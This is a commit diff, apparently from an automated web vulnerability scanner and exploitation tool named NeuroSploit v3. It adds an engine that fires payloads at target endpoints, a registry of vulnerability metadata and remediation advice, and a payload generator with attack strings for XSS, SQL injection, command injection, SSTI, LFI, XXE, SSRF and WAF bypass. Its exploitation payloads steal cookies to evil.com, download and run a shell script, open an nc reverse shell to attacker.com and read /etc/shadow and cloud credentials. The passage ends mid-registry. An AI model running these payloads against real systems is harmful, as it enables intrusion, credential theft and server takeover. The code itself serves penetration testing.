mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-08-15 14:10:22 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,5 @@
|
||||
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
|
||||
from backend.core.vuln_engine.registry import VulnerabilityRegistry
|
||||
from backend.core.vuln_engine.payload_generator import PayloadGenerator
|
||||
|
||||
__all__ = ["DynamicVulnerabilityEngine", "VulnerabilityRegistry", "PayloadGenerator"]
|
||||
@@ -0,0 +1,287 @@
|
||||
"""
|
||||
NeuroSploit v3 - Dynamic Vulnerability Engine
|
||||
|
||||
The core of NeuroSploit v3: prompt-driven vulnerability testing.
|
||||
Instead of hardcoded tests, this engine dynamically tests based on
|
||||
what vulnerabilities are extracted from the user's prompt.
|
||||
"""
|
||||
import asyncio
|
||||
import aiohttp
|
||||
from typing import List, Dict, Optional, Any
|
||||
from datetime import datetime
|
||||
|
||||
from backend.core.vuln_engine.registry import VulnerabilityRegistry
|
||||
from backend.core.vuln_engine.payload_generator import PayloadGenerator
|
||||
from backend.models import Endpoint, Vulnerability, VulnerabilityTest
|
||||
from backend.schemas.prompt import VulnerabilityTypeExtracted
|
||||
|
||||
|
||||
class TestResult:
|
||||
"""Result of a vulnerability test"""
|
||||
def __init__(
|
||||
self,
|
||||
vuln_type: str,
|
||||
is_vulnerable: bool,
|
||||
confidence: float,
|
||||
payload: str,
|
||||
request_data: dict,
|
||||
response_data: dict,
|
||||
evidence: Optional[str] = None
|
||||
):
|
||||
self.vuln_type = vuln_type
|
||||
self.is_vulnerable = is_vulnerable
|
||||
self.confidence = confidence
|
||||
self.payload = payload
|
||||
self.request_data = request_data
|
||||
self.response_data = response_data
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class DynamicVulnerabilityEngine:
|
||||
"""
|
||||
Prompt-driven vulnerability testing engine.
|
||||
|
||||
Key principles:
|
||||
1. Tests ONLY what the prompt specifies
|
||||
2. Generates payloads dynamically based on context
|
||||
3. Uses multiple detection techniques per vulnerability type
|
||||
4. Adapts based on target responses
|
||||
"""
|
||||
|
||||
def __init__(self, llm_manager=None):
|
||||
self.llm_manager = llm_manager
|
||||
self.registry = VulnerabilityRegistry()
|
||||
self.payload_generator = PayloadGenerator()
|
||||
self.session: Optional[aiohttp.ClientSession] = None
|
||||
self.timeout = aiohttp.ClientTimeout(total=30)
|
||||
|
||||
async def __aenter__(self):
|
||||
self.session = aiohttp.ClientSession(timeout=self.timeout)
|
||||
return self
|
||||
|
||||
async def __aexit__(self, exc_type, exc_val, exc_tb):
|
||||
if self.session:
|
||||
await self.session.close()
|
||||
|
||||
async def test_endpoint(
|
||||
self,
|
||||
endpoint: Endpoint,
|
||||
vuln_types: List[VulnerabilityTypeExtracted],
|
||||
context: Dict[str, Any],
|
||||
progress_callback=None
|
||||
) -> List[TestResult]:
|
||||
"""
|
||||
Test an endpoint for specified vulnerability types.
|
||||
|
||||
Args:
|
||||
endpoint: The endpoint to test
|
||||
vuln_types: List of vulnerability types to test for
|
||||
context: Additional context (technologies, WAF info, etc.)
|
||||
progress_callback: Optional callback for progress updates
|
||||
|
||||
Returns:
|
||||
List of test results
|
||||
"""
|
||||
results = []
|
||||
|
||||
if not self.session:
|
||||
self.session = aiohttp.ClientSession(timeout=self.timeout)
|
||||
|
||||
for vuln in vuln_types:
|
||||
try:
|
||||
if progress_callback:
|
||||
await progress_callback(f"Testing {vuln.type} on {endpoint.url}")
|
||||
|
||||
# Get tester for this vulnerability type
|
||||
tester = self.registry.get_tester(vuln.type)
|
||||
|
||||
# Get payloads for this vulnerability and endpoint
|
||||
payloads = await self.payload_generator.get_payloads(
|
||||
vuln_type=vuln.type,
|
||||
endpoint=endpoint,
|
||||
context=context
|
||||
)
|
||||
|
||||
# Test each payload
|
||||
for payload in payloads:
|
||||
result = await self._execute_test(
|
||||
endpoint=endpoint,
|
||||
vuln_type=vuln.type,
|
||||
payload=payload,
|
||||
tester=tester,
|
||||
context=context
|
||||
)
|
||||
results.append(result)
|
||||
|
||||
# If vulnerable, try to get more evidence
|
||||
if result.is_vulnerable:
|
||||
deeper_results = await self._deep_test(
|
||||
endpoint=endpoint,
|
||||
vuln_type=vuln.type,
|
||||
initial_result=result,
|
||||
tester=tester,
|
||||
context=context
|
||||
)
|
||||
results.extend(deeper_results)
|
||||
break # Found vulnerability, move to next type
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error testing {vuln.type}: {e}")
|
||||
continue
|
||||
|
||||
return results
|
||||
|
||||
async def _execute_test(
|
||||
self,
|
||||
endpoint: Endpoint,
|
||||
vuln_type: str,
|
||||
payload: str,
|
||||
tester,
|
||||
context: Dict
|
||||
) -> TestResult:
|
||||
"""Execute a single vulnerability test"""
|
||||
request_data = {
|
||||
"url": endpoint.url,
|
||||
"method": endpoint.method,
|
||||
"payload": payload,
|
||||
"timestamp": datetime.utcnow().isoformat()
|
||||
}
|
||||
|
||||
try:
|
||||
# Build the test request
|
||||
test_url, test_params, test_headers, test_body = tester.build_request(
|
||||
endpoint=endpoint,
|
||||
payload=payload
|
||||
)
|
||||
|
||||
# Send the request
|
||||
async with self.session.request(
|
||||
method=endpoint.method,
|
||||
url=test_url,
|
||||
params=test_params,
|
||||
headers=test_headers,
|
||||
data=test_body,
|
||||
ssl=False,
|
||||
allow_redirects=False
|
||||
) as response:
|
||||
response_text = await response.text()
|
||||
response_data = {
|
||||
"status": response.status,
|
||||
"headers": dict(response.headers),
|
||||
"body_preview": response_text[:2000] if response_text else "",
|
||||
"content_length": len(response_text) if response_text else 0
|
||||
}
|
||||
|
||||
# Analyze response for vulnerability
|
||||
is_vulnerable, confidence, evidence = tester.analyze_response(
|
||||
payload=payload,
|
||||
response_status=response.status,
|
||||
response_headers=dict(response.headers),
|
||||
response_body=response_text,
|
||||
context=context
|
||||
)
|
||||
|
||||
return TestResult(
|
||||
vuln_type=vuln_type,
|
||||
is_vulnerable=is_vulnerable,
|
||||
confidence=confidence,
|
||||
payload=payload,
|
||||
request_data=request_data,
|
||||
response_data=response_data,
|
||||
evidence=evidence
|
||||
)
|
||||
|
||||
except asyncio.TimeoutError:
|
||||
# Timeout might indicate time-based injection
|
||||
response_data = {"error": "timeout", "timeout_seconds": self.timeout.total}
|
||||
is_vulnerable = tester.check_timeout_vulnerability(vuln_type)
|
||||
return TestResult(
|
||||
vuln_type=vuln_type,
|
||||
is_vulnerable=is_vulnerable,
|
||||
confidence=0.7 if is_vulnerable else 0.0,
|
||||
payload=payload,
|
||||
request_data=request_data,
|
||||
response_data=response_data,
|
||||
evidence="Request timed out - possible time-based vulnerability" if is_vulnerable else None
|
||||
)
|
||||
except Exception as e:
|
||||
response_data = {"error": str(e)}
|
||||
return TestResult(
|
||||
vuln_type=vuln_type,
|
||||
is_vulnerable=False,
|
||||
confidence=0.0,
|
||||
payload=payload,
|
||||
request_data=request_data,
|
||||
response_data=response_data,
|
||||
evidence=None
|
||||
)
|
||||
|
||||
async def _deep_test(
|
||||
self,
|
||||
endpoint: Endpoint,
|
||||
vuln_type: str,
|
||||
initial_result: TestResult,
|
||||
tester,
|
||||
context: Dict
|
||||
) -> List[TestResult]:
|
||||
"""
|
||||
Perform deeper testing after initial vulnerability confirmation.
|
||||
This helps establish higher confidence and better PoC.
|
||||
"""
|
||||
results = []
|
||||
|
||||
# Get exploitation payloads
|
||||
deeper_payloads = await self.payload_generator.get_exploitation_payloads(
|
||||
vuln_type=vuln_type,
|
||||
initial_payload=initial_result.payload,
|
||||
context=context
|
||||
)
|
||||
|
||||
for payload in deeper_payloads[:3]: # Limit to 3 deeper tests
|
||||
result = await self._execute_test(
|
||||
endpoint=endpoint,
|
||||
vuln_type=vuln_type,
|
||||
payload=payload,
|
||||
tester=tester,
|
||||
context=context
|
||||
)
|
||||
if result.is_vulnerable:
|
||||
result.confidence = min(result.confidence + 0.1, 1.0)
|
||||
results.append(result)
|
||||
|
||||
return results
|
||||
|
||||
async def create_vulnerability_record(
|
||||
self,
|
||||
scan_id: str,
|
||||
endpoint: Endpoint,
|
||||
result: TestResult
|
||||
) -> Vulnerability:
|
||||
"""Create a vulnerability record from a test result"""
|
||||
# Get severity based on vulnerability type
|
||||
severity = self.registry.get_severity(result.vuln_type)
|
||||
|
||||
# Get CWE ID
|
||||
cwe_id = self.registry.get_cwe_id(result.vuln_type)
|
||||
|
||||
# Get remediation advice
|
||||
remediation = self.registry.get_remediation(result.vuln_type)
|
||||
|
||||
# Generate title
|
||||
title = self.registry.get_title(result.vuln_type)
|
||||
|
||||
return Vulnerability(
|
||||
scan_id=scan_id,
|
||||
title=f"{title} on {endpoint.path or endpoint.url}",
|
||||
vulnerability_type=result.vuln_type,
|
||||
severity=severity,
|
||||
cwe_id=cwe_id,
|
||||
description=self.registry.get_description(result.vuln_type),
|
||||
affected_endpoint=endpoint.url,
|
||||
poc_request=str(result.request_data),
|
||||
poc_response=str(result.response_data.get("body_preview", ""))[:5000],
|
||||
poc_payload=result.payload,
|
||||
impact=self.registry.get_impact(result.vuln_type),
|
||||
remediation=remediation,
|
||||
ai_analysis=result.evidence
|
||||
)
|
||||
@@ -0,0 +1,385 @@
|
||||
"""
|
||||
NeuroSploit v3 - Dynamic Payload Generator
|
||||
|
||||
Generates context-aware payloads for vulnerability testing.
|
||||
"""
|
||||
from typing import List, Dict, Any, Optional
|
||||
import json
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
class PayloadGenerator:
|
||||
"""
|
||||
Generates payloads for vulnerability testing.
|
||||
|
||||
Features:
|
||||
- Extensive payload libraries per vulnerability type
|
||||
- Context-aware payload selection (WAF bypass, encoding)
|
||||
- Dynamic payload generation based on target info
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.payload_libraries = self._load_payload_libraries()
|
||||
|
||||
def _load_payload_libraries(self) -> Dict[str, List[str]]:
|
||||
"""Load comprehensive payload libraries"""
|
||||
return {
|
||||
# XSS Payloads
|
||||
"xss_reflected": [
|
||||
"<script>alert('XSS')</script>",
|
||||
"<img src=x onerror=alert('XSS')>",
|
||||
"<svg onload=alert('XSS')>",
|
||||
"<body onload=alert('XSS')>",
|
||||
"javascript:alert('XSS')",
|
||||
"<iframe src=\"javascript:alert('XSS')\">",
|
||||
"<input onfocus=alert('XSS') autofocus>",
|
||||
"<marquee onstart=alert('XSS')>",
|
||||
"<details open ontoggle=alert('XSS')>",
|
||||
"<video><source onerror=alert('XSS')>",
|
||||
"'-alert('XSS')-'",
|
||||
"\"-alert('XSS')-\"",
|
||||
"<script>alert(String.fromCharCode(88,83,83))</script>",
|
||||
"<img src=x onerror=alert(document.domain)>",
|
||||
"<svg/onload=alert('XSS')>",
|
||||
"<body/onload=alert('XSS')>",
|
||||
"<<script>alert('XSS')//<</script>",
|
||||
"<ScRiPt>alert('XSS')</sCrIpT>",
|
||||
"%3Cscript%3Ealert('XSS')%3C/script%3E",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_stored": [
|
||||
"<script>alert('StoredXSS')</script>",
|
||||
"<img src=x onerror=alert('StoredXSS')>",
|
||||
"<svg onload=alert('StoredXSS')>",
|
||||
"javascript:alert('StoredXSS')",
|
||||
"<a href=javascript:alert('StoredXSS')>click</a>",
|
||||
],
|
||||
"xss_dom": [
|
||||
"#<script>alert('DOMXSS')</script>",
|
||||
"#\"><script>alert('DOMXSS')</script>",
|
||||
"javascript:alert('DOMXSS')",
|
||||
"#'-alert('DOMXSS')-'",
|
||||
],
|
||||
|
||||
# SQL Injection Payloads
|
||||
"sqli_error": [
|
||||
"'",
|
||||
"\"",
|
||||
"' OR '1'='1",
|
||||
"' OR '1'='1'--",
|
||||
"' OR '1'='1'/*",
|
||||
"\" OR \"1\"=\"1",
|
||||
"1' AND '1'='1",
|
||||
"1 AND 1=1",
|
||||
"' AND ''='",
|
||||
"admin'--",
|
||||
"') OR ('1'='1",
|
||||
"' UNION SELECT NULL--",
|
||||
"1' ORDER BY 1--",
|
||||
"1' ORDER BY 100--",
|
||||
"'; WAITFOR DELAY '0:0:5'--",
|
||||
"1; SELECT SLEEP(5)--",
|
||||
],
|
||||
"sqli_union": [
|
||||
"' UNION SELECT NULL--",
|
||||
"' UNION SELECT NULL,NULL--",
|
||||
"' UNION SELECT NULL,NULL,NULL--",
|
||||
"' UNION SELECT 1,2,3--",
|
||||
"' UNION SELECT username,password FROM users--",
|
||||
"' UNION ALL SELECT NULL,NULL,NULL--",
|
||||
"' UNION SELECT @@version--",
|
||||
"' UNION SELECT version()--",
|
||||
"1 UNION SELECT * FROM information_schema.tables--",
|
||||
],
|
||||
"sqli_blind": [
|
||||
"' AND 1=1--",
|
||||
"' AND 1=2--",
|
||||
"' AND 'a'='a",
|
||||
"' AND 'a'='b",
|
||||
"1' AND (SELECT COUNT(*) FROM users)>0--",
|
||||
"' AND SUBSTRING(username,1,1)='a'--",
|
||||
],
|
||||
"sqli_time": [
|
||||
"'; WAITFOR DELAY '0:0:5'--",
|
||||
"' AND SLEEP(5)--",
|
||||
"' AND (SELECT SLEEP(5))--",
|
||||
"'; SELECT pg_sleep(5)--",
|
||||
"' AND BENCHMARK(10000000,SHA1('test'))--",
|
||||
"1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
|
||||
],
|
||||
|
||||
# Command Injection
|
||||
"command_injection": [
|
||||
"; id",
|
||||
"| id",
|
||||
"|| id",
|
||||
"& id",
|
||||
"&& id",
|
||||
"`id`",
|
||||
"$(id)",
|
||||
"; whoami",
|
||||
"| whoami",
|
||||
"; cat /etc/passwd",
|
||||
"| cat /etc/passwd",
|
||||
"; ls -la",
|
||||
"& dir",
|
||||
"| type C:\\Windows\\win.ini",
|
||||
"; ping -c 3 127.0.0.1",
|
||||
"| ping -n 3 127.0.0.1",
|
||||
"\n/bin/cat /etc/passwd",
|
||||
"a]); system('id'); //",
|
||||
],
|
||||
|
||||
# SSTI Payloads
|
||||
"ssti": [
|
||||
"{{7*7}}",
|
||||
"${7*7}",
|
||||
"#{7*7}",
|
||||
"<%= 7*7 %>",
|
||||
"{{7*'7'}}",
|
||||
"{{config}}",
|
||||
"{{self}}",
|
||||
"${T(java.lang.Runtime).getRuntime().exec('id')}",
|
||||
"{{''.__class__.__mro__[2].__subclasses__()}}",
|
||||
"{{config.items()}}",
|
||||
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
|
||||
"#{T(java.lang.System).getenv()}",
|
||||
"${{7*7}}",
|
||||
],
|
||||
|
||||
# NoSQL Injection
|
||||
"nosql_injection": [
|
||||
'{"$gt": ""}',
|
||||
'{"$ne": ""}',
|
||||
'{"$regex": ".*"}',
|
||||
"admin'||'1'=='1",
|
||||
'{"username": {"$ne": ""}, "password": {"$ne": ""}}',
|
||||
'{"$where": "1==1"}',
|
||||
"true, $where: '1 == 1'",
|
||||
],
|
||||
|
||||
# LFI Payloads
|
||||
"lfi": [
|
||||
"../../../etc/passwd",
|
||||
"....//....//....//etc/passwd",
|
||||
"..%2f..%2f..%2fetc/passwd",
|
||||
"..%252f..%252f..%252fetc/passwd",
|
||||
"/etc/passwd",
|
||||
"file:///etc/passwd",
|
||||
"....\\....\\....\\windows\\win.ini",
|
||||
"..\\..\\..\\windows\\win.ini",
|
||||
"/proc/self/environ",
|
||||
"php://filter/convert.base64-encode/resource=index.php",
|
||||
"php://input",
|
||||
"expect://id",
|
||||
"/var/log/apache2/access.log",
|
||||
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
||||
],
|
||||
|
||||
# RFI Payloads
|
||||
"rfi": [
|
||||
"http://evil.com/shell.txt",
|
||||
"https://evil.com/shell.txt?",
|
||||
"//evil.com/shell.txt",
|
||||
"http://evil.com/shell.txt%00",
|
||||
],
|
||||
|
||||
# Path Traversal
|
||||
"path_traversal": [
|
||||
"../",
|
||||
"..\\",
|
||||
"....//",
|
||||
"....\\\\",
|
||||
"%2e%2e%2f",
|
||||
"%2e%2e/",
|
||||
"..%2f",
|
||||
"%2e%2e%5c",
|
||||
"..%255c",
|
||||
"..%c0%af",
|
||||
"..%c1%9c",
|
||||
],
|
||||
|
||||
# XXE Payloads
|
||||
"xxe": [
|
||||
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
|
||||
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>',
|
||||
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo>',
|
||||
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]><foo></foo>',
|
||||
],
|
||||
|
||||
# SSRF Payloads
|
||||
"ssrf": [
|
||||
"http://127.0.0.1",
|
||||
"http://localhost",
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://[::1]",
|
||||
"http://0.0.0.0",
|
||||
"http://metadata.google.internal/computeMetadata/v1/",
|
||||
"http://169.254.169.254/metadata/v1/",
|
||||
"http://127.0.0.1:22",
|
||||
"http://127.0.0.1:3306",
|
||||
"http://127.0.0.1:6379",
|
||||
"file:///etc/passwd",
|
||||
"dict://127.0.0.1:6379/INFO",
|
||||
"gopher://127.0.0.1:6379/_INFO",
|
||||
],
|
||||
"ssrf_cloud": [
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
|
||||
"http://169.254.169.254/metadata/v1.json",
|
||||
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
||||
],
|
||||
|
||||
# Open Redirect
|
||||
"open_redirect": [
|
||||
"https://evil.com",
|
||||
"//evil.com",
|
||||
"/\\evil.com",
|
||||
"https:evil.com",
|
||||
"//evil.com/%2f%2e%2e",
|
||||
"////evil.com",
|
||||
"https://evil.com@trusted.com",
|
||||
"javascript:alert('redirect')",
|
||||
],
|
||||
|
||||
# CORS Test Origins
|
||||
"cors_misconfig": [
|
||||
"https://evil.com",
|
||||
"https://attacker.com",
|
||||
"null",
|
||||
"https://trusted.com.evil.com",
|
||||
"https://trustedcom.evil.com",
|
||||
],
|
||||
|
||||
# JWT Manipulation
|
||||
"jwt_manipulation": [
|
||||
'{"alg":"none"}',
|
||||
'{"alg":"HS256"}', # Test algorithm confusion
|
||||
'{"alg":"RS256"}',
|
||||
],
|
||||
|
||||
# Auth Bypass
|
||||
"auth_bypass": [
|
||||
"' OR '1'='1",
|
||||
"admin'--",
|
||||
"admin' #",
|
||||
"admin'/*",
|
||||
"' OR 1=1--",
|
||||
"admin",
|
||||
"administrator",
|
||||
"' OR ''='",
|
||||
],
|
||||
|
||||
# IDOR
|
||||
"idor": [
|
||||
"1",
|
||||
"2",
|
||||
"0",
|
||||
"-1",
|
||||
"999999",
|
||||
"admin",
|
||||
"test",
|
||||
"../1",
|
||||
],
|
||||
}
|
||||
|
||||
async def get_payloads(
|
||||
self,
|
||||
vuln_type: str,
|
||||
endpoint: Any,
|
||||
context: Dict[str, Any]
|
||||
) -> List[str]:
|
||||
"""
|
||||
Get payloads for a vulnerability type.
|
||||
|
||||
Args:
|
||||
vuln_type: Type of vulnerability to test
|
||||
endpoint: Target endpoint
|
||||
context: Additional context (technologies, WAF, etc.)
|
||||
|
||||
Returns:
|
||||
List of payloads to test
|
||||
"""
|
||||
base_payloads = self.payload_libraries.get(vuln_type, [])
|
||||
|
||||
if not base_payloads:
|
||||
# Fallback to similar type
|
||||
for key in self.payload_libraries:
|
||||
if vuln_type.startswith(key.split('_')[0]):
|
||||
base_payloads = self.payload_libraries[key]
|
||||
break
|
||||
|
||||
# If WAF detected, add encoded variants
|
||||
if context.get("waf_detected"):
|
||||
base_payloads = self._add_waf_bypasses(base_payloads, vuln_type)
|
||||
|
||||
# Limit payloads based on scan depth
|
||||
depth = context.get("depth", "standard")
|
||||
limits = {
|
||||
"quick": 3,
|
||||
"standard": 10,
|
||||
"thorough": 20,
|
||||
"exhaustive": len(base_payloads)
|
||||
}
|
||||
limit = limits.get(depth, 10)
|
||||
|
||||
return base_payloads[:limit]
|
||||
|
||||
async def get_exploitation_payloads(
|
||||
self,
|
||||
vuln_type: str,
|
||||
initial_payload: str,
|
||||
context: Dict[str, Any]
|
||||
) -> List[str]:
|
||||
"""
|
||||
Generate exploitation payloads after initial vulnerability confirmation.
|
||||
"""
|
||||
exploitation_payloads = []
|
||||
|
||||
if "xss" in vuln_type:
|
||||
exploitation_payloads = [
|
||||
"<script>document.location='http://evil.com/steal?c='+document.cookie</script>",
|
||||
"<img src=x onerror=fetch('http://evil.com/'+document.cookie)>",
|
||||
"<script>new Image().src='http://evil.com/?c='+document.cookie</script>",
|
||||
]
|
||||
elif "sqli" in vuln_type:
|
||||
exploitation_payloads = [
|
||||
"' UNION SELECT table_name,NULL FROM information_schema.tables--",
|
||||
"' UNION SELECT column_name,NULL FROM information_schema.columns--",
|
||||
"' UNION SELECT username,password FROM users--",
|
||||
]
|
||||
elif "command" in vuln_type:
|
||||
exploitation_payloads = [
|
||||
"; cat /etc/shadow",
|
||||
"; wget http://evil.com/shell.sh -O /tmp/s && bash /tmp/s",
|
||||
"| nc -e /bin/bash attacker.com 4444",
|
||||
]
|
||||
elif "lfi" in vuln_type:
|
||||
exploitation_payloads = [
|
||||
"php://filter/convert.base64-encode/resource=../config.php",
|
||||
"/proc/self/environ",
|
||||
"/var/log/apache2/access.log",
|
||||
]
|
||||
elif "ssrf" in vuln_type:
|
||||
exploitation_payloads = [
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"http://127.0.0.1:6379/INFO",
|
||||
"http://127.0.0.1:3306/",
|
||||
]
|
||||
|
||||
return exploitation_payloads
|
||||
|
||||
def _add_waf_bypasses(self, payloads: List[str], vuln_type: str) -> List[str]:
|
||||
"""Add WAF bypass variants to payloads"""
|
||||
bypassed = []
|
||||
for payload in payloads:
|
||||
bypassed.append(payload)
|
||||
# URL encoding
|
||||
bypassed.append(payload.replace("<", "%3C").replace(">", "%3E"))
|
||||
# Double URL encoding
|
||||
bypassed.append(payload.replace("<", "%253C").replace(">", "%253E"))
|
||||
# Case variation
|
||||
if "<script" in payload.lower():
|
||||
bypassed.append(payload.replace("script", "ScRiPt"))
|
||||
return bypassed
|
||||
@@ -0,0 +1,404 @@
|
||||
"""
|
||||
NeuroSploit v3 - Vulnerability Registry
|
||||
|
||||
Registry of all vulnerability types and their testers.
|
||||
Provides metadata, severity info, and tester classes.
|
||||
"""
|
||||
from typing import Dict, Optional, Tuple
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
from backend.core.vuln_engine.testers.injection import (
|
||||
XSSReflectedTester, XSSStoredTester, XSSDomTester,
|
||||
SQLiErrorTester, SQLiUnionTester, SQLiBlindTester, SQLiTimeTester,
|
||||
CommandInjectionTester, SSTITester, NoSQLInjectionTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.file_access import (
|
||||
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.request_forgery import (
|
||||
SSRFTester, CSRFTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.auth import (
|
||||
AuthBypassTester, JWTManipulationTester, SessionFixationTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.authorization import (
|
||||
IDORTester, BOLATester, PrivilegeEscalationTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.client_side import (
|
||||
CORSTester, ClickjackingTester, OpenRedirectTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.infrastructure import (
|
||||
SecurityHeadersTester, SSLTester, HTTPMethodsTester
|
||||
)
|
||||
|
||||
|
||||
class VulnerabilityRegistry:
|
||||
"""
|
||||
Central registry for all vulnerability types.
|
||||
|
||||
Maps vulnerability types to:
|
||||
- Tester classes
|
||||
- Severity levels
|
||||
- CWE IDs
|
||||
- Descriptions
|
||||
- Remediation advice
|
||||
"""
|
||||
|
||||
# Vulnerability metadata
|
||||
VULNERABILITY_INFO = {
|
||||
# XSS
|
||||
"xss_reflected": {
|
||||
"title": "Reflected Cross-Site Scripting (XSS)",
|
||||
"severity": "medium",
|
||||
"cwe_id": "CWE-79",
|
||||
"description": "Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser.",
|
||||
"impact": "An attacker can execute arbitrary JavaScript in the victim's browser, potentially stealing session cookies, capturing credentials, or performing actions on behalf of the user.",
|
||||
"remediation": "1. Encode all user input when rendering in HTML context\n2. Use Content-Security-Policy headers\n3. Set HttpOnly flag on sensitive cookies\n4. Use modern frameworks with auto-escaping"
|
||||
},
|
||||
"xss_stored": {
|
||||
"title": "Stored Cross-Site Scripting (XSS)",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-79",
|
||||
"description": "Stored XSS occurs when malicious script is permanently stored on the target server, such as in a database, message forum, visitor log, or comment field.",
|
||||
"impact": "All users who view the affected page will execute the malicious script, leading to mass credential theft, session hijacking, or malware distribution.",
|
||||
"remediation": "1. Sanitize and validate all user input before storage\n2. Encode output when rendering\n3. Implement Content-Security-Policy\n4. Use HttpOnly and Secure flags on cookies"
|
||||
},
|
||||
"xss_dom": {
|
||||
"title": "DOM-based Cross-Site Scripting",
|
||||
"severity": "medium",
|
||||
"cwe_id": "CWE-79",
|
||||
"description": "DOM-based XSS occurs when client-side JavaScript processes user input and writes it to the DOM in an unsafe way.",
|
||||
"impact": "Attacker can execute JavaScript in the user's browser through malicious links or user interaction.",
|
||||
"remediation": "1. Avoid using dangerous DOM sinks (innerHTML, eval, document.write)\n2. Use textContent instead of innerHTML\n3. Sanitize user input on the client side\n4. Implement CSP with strict policies"
|
||||
},
|
||||
|
||||
# SQL Injection
|
||||
"sqli_error": {
|
||||
"title": "Error-based SQL Injection",
|
||||
"severity": "critical",
|
||||
"cwe_id": "CWE-89",
|
||||
"description": "SQL injection vulnerability that reveals database errors containing query information, allowing attackers to extract data through error messages.",
|
||||
"impact": "Complete database compromise including data theft, modification, or deletion. May lead to remote code execution on the database server.",
|
||||
"remediation": "1. Use parameterized queries/prepared statements\n2. Implement input validation with whitelist approach\n3. Apply least privilege principle for database accounts\n4. Disable detailed error messages in production"
|
||||
},
|
||||
"sqli_union": {
|
||||
"title": "Union-based SQL Injection",
|
||||
"severity": "critical",
|
||||
"cwe_id": "CWE-89",
|
||||
"description": "SQL injection allowing UNION-based queries to extract data from other database tables.",
|
||||
"impact": "Full database extraction capability. Attacker can read all database tables, users, and potentially escalate to RCE.",
|
||||
"remediation": "1. Use parameterized queries exclusively\n2. Implement strict input validation\n3. Use stored procedures where appropriate\n4. Monitor for unusual query patterns"
|
||||
},
|
||||
"sqli_blind": {
|
||||
"title": "Blind SQL Injection (Boolean-based)",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-89",
|
||||
"description": "SQL injection where results are inferred from application behavior changes rather than direct output.",
|
||||
"impact": "Slower but complete data extraction is possible. Can lead to full database compromise.",
|
||||
"remediation": "1. Use parameterized queries\n2. Implement WAF rules for SQL injection patterns\n3. Use connection pooling with timeout limits\n4. Implement query logging and monitoring"
|
||||
},
|
||||
"sqli_time": {
|
||||
"title": "Time-based Blind SQL Injection",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-89",
|
||||
"description": "SQL injection where attacker can infer information based on time delays in responses.",
|
||||
"impact": "Complete data extraction possible, though slower. Can determine database structure and content.",
|
||||
"remediation": "1. Use parameterized queries\n2. Set strict query timeout limits\n3. Monitor for anomalously slow queries\n4. Implement rate limiting"
|
||||
},
|
||||
|
||||
# Command Injection
|
||||
"command_injection": {
|
||||
"title": "OS Command Injection",
|
||||
"severity": "critical",
|
||||
"cwe_id": "CWE-78",
|
||||
"description": "Application passes unsafe user-supplied data to a system shell, allowing execution of arbitrary OS commands.",
|
||||
"impact": "Complete system compromise. Attacker can execute any command with the application's privileges, potentially gaining full server access.",
|
||||
"remediation": "1. Avoid shell commands; use native library functions\n2. If shell required, use strict whitelist validation\n3. Never pass user input directly to shell\n4. Run with minimal privileges, use containers"
|
||||
},
|
||||
|
||||
# SSTI
|
||||
"ssti": {
|
||||
"title": "Server-Side Template Injection",
|
||||
"severity": "critical",
|
||||
"cwe_id": "CWE-94",
|
||||
"description": "User input is unsafely embedded into server-side templates, allowing template code execution.",
|
||||
"impact": "Often leads to remote code execution. Attacker can read files, execute commands, and compromise the server.",
|
||||
"remediation": "1. Never pass user input to template engines\n2. Use logic-less templates when possible\n3. Implement sandbox environments for templates\n4. Validate and sanitize all template inputs"
|
||||
},
|
||||
|
||||
# NoSQL Injection
|
||||
"nosql_injection": {
|
||||
"title": "NoSQL Injection",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-943",
|
||||
"description": "Injection attack targeting NoSQL databases like MongoDB through operator injection.",
|
||||
"impact": "Authentication bypass, data theft, and potential server compromise depending on database configuration.",
|
||||
"remediation": "1. Validate and sanitize all user input\n2. Use parameterized queries where available\n3. Disable server-side JavaScript execution\n4. Apply strict typing to query parameters"
|
||||
},
|
||||
|
||||
# File Access
|
||||
"lfi": {
|
||||
"title": "Local File Inclusion",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-98",
|
||||
"description": "Application includes local files based on user input, allowing access to sensitive files.",
|
||||
"impact": "Read sensitive configuration files, source code, and potentially achieve code execution via log poisoning.",
|
||||
